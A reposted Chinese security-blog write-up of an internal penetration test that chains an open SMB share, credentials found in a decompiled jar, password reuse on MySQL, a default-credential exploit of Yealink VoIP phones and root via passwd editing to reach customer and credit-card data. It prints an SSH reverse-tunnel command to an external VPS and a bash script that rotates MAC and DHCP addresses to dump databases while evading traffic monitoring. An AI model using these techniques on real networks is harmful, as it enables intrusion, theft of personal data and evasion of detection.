多漏洞组合实现百G数据泄漏

admin 2022年9月14日15:20:40安全文章评论2 views1900字阅读6分20秒阅读模式

这是几年前的一次内部渗透测试案例,通过几个小漏洞组合起来获得了大量敏感信息,起初在一个小的内网进行 nmap 扫描,没有发现什么特别有价值的信息,只发现一个 SMB 共享,如图:

多漏洞组合实现百G数据泄漏

看上去像是开发人员创建,用于计算机之间的文件共享,接下来使用 impacket 的 smbclient.py 访问该共享,获得了一些内容:

多漏洞组合实现百G数据泄漏

通过命令行窗口没看到啥特别有用的文件,尝试下载回本地,发现了一个 jar 文件:

多漏洞组合实现百G数据泄漏

看着像是自己写的程序,然后使用 java 的反编译软件 jd-gui,下载地址:

https://github.com/java-decompiler/jd-gui.git

将代码克隆回本地然后编译:

多漏洞组合实现百G数据泄漏

编译好之后启动:

多漏洞组合实现百G数据泄漏

启动之后出现一个界面,打开要反编译的 jar 文件即可:

多漏洞组合实现百G数据泄漏

在翻看了代码之后,找到了几个数据库的链接信息,如图:

多漏洞组合实现百G数据泄漏

多漏洞组合实现百G数据泄漏

 

在全部尝试之后发现,这些 IP 均无法访问,我想,这些账号密码可能存在通用的,所以开始对整个内网进行扫描,探测所有运行 mysql 服务的端口,然后使用收集到的账号密码进行登录尝试,最后发现 10.40.0.0/16 网段一台电脑的 3033 端口登录成功。

成功连接后发现,有五十多个与业务相关的数据表,包含的数据超过 700 G:

多漏洞组合实现百G数据泄漏

为了证明信息量,查询了下数据条数(超过 1600 万条电子邮件地址):

多漏洞组合实现百G数据泄漏

除了这些,还发现看超过 20 万条完整的信用卡记录,大约 700 G 的数据中,有 270 G 的熟剧是关键的,到这里,你以为就结束了?其实并没有,为了证明这些数据可以泄漏,需要想办法将这些数据转移至外部,在尝试传输时发现速度非常慢,如果一天内传输 270G 的数据,可能会触发一些流量审计设备的规则。

接下来我们尝试使用 ssh 建立隧道,通过外部访问内部被控制的主机, 这里先说一下如何建立 SSH 隧道,首先在被控主机上执行命令:

ssh -R 8080:127.0.0.1:22 -N -f [email protected]

remote.host 是我们的远程 VPS(具有公网IP,可以远程访问),- N 参数表示不运行任何命令,只建立连接,-f 参数表示后台运行进程,整个命令的意思是远程 VPS 监听 8080 端口,把收到的所有数据均发送给内网被控主机的 22 端口,这样我们就可以通过外部访问内网被控主机的 SSH 端口,连接命令:

ssh -p 8080 [email protected]

compromiseduser 是内网被控主机上的用户名,到这里我们就解决了通过公司网络访问内网主机的问题。

接下来我们决定找一个全天候都在启动、安全性差、可以访问网络的设备,物联网设备满足这几个条件,然后在内网开始扫描这类设备,发现了一百台物联网设备,主要是电视和 VOIP 电话,电视不会一直开着,电话都是 Yealink 的:

多漏洞组合实现百G数据泄漏

看看这类设备是否存在历史漏洞,使用 searchsploit 搜索相关漏洞发现几个:

多漏洞组合实现百G数据泄漏

经过分析, 23572 这个漏洞可以启动 telnet 并且存在默认账号密码,详情:

https://www.exploit-db.com/exploits/23572

多漏洞组合实现百G数据泄漏

使用默认账号密码 admin/admin 成功登录,但不是 root 权限:

多漏洞组合实现百G数据泄漏

在测试中发现,使用 guest/guest 账号可以编辑 passwd 文件,然后将 root 用户中的 x 去掉,即可在没有 root 密码的情况下登录:

多漏洞组合实现百G数据泄漏

关于 guest 用户为什么可以编辑 passwd 文件,不得而知,但确实是可以的。

有了 root 权限之后,需要在这个系统上部署一个 ssh 服务器,由于这个过程中遇到很多错误,没有做记录,如果再做的话我会选择 pentestkoala 来创建 ssh 服务:

https://github.com/mrschyte/pentestkoala

这个时候,我不想用一个 IP 下载所有的数据,这样容易被流量监控发现,测试发现使用 macchanger 更改 mac 后,手动释放 DHCP 会获得一个新的 IP,也就是说 DHCP 分配 IP 取决于 MAC 地址,所以编写一个脚本:

#!/bin/bashfor i in importantdb1 importantdb2 importantdb3 importantdb4; do dhclient -r enp0s25 sleep 10 macchanger - random enp0s25 dhclient enp0s25 sleep 40 mysqldump - verbose -u root -prootspi949 -h 10.40.59.10 -P 3033 $i >> /tmp/compromisedDb/$i.sqldone

每下载一个数据表则更换一个 IP 地址,这样同一个 IP 所下载的数据就没有那么大了,目标达成。

多漏洞组合实现百G数据泄漏

原文始发于微信公众号(信安之路):多漏洞组合实现百G数据泄漏

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月14日15:20:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  多漏洞组合实现百G数据泄漏 http://cn-sec.com/archives/1296106.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: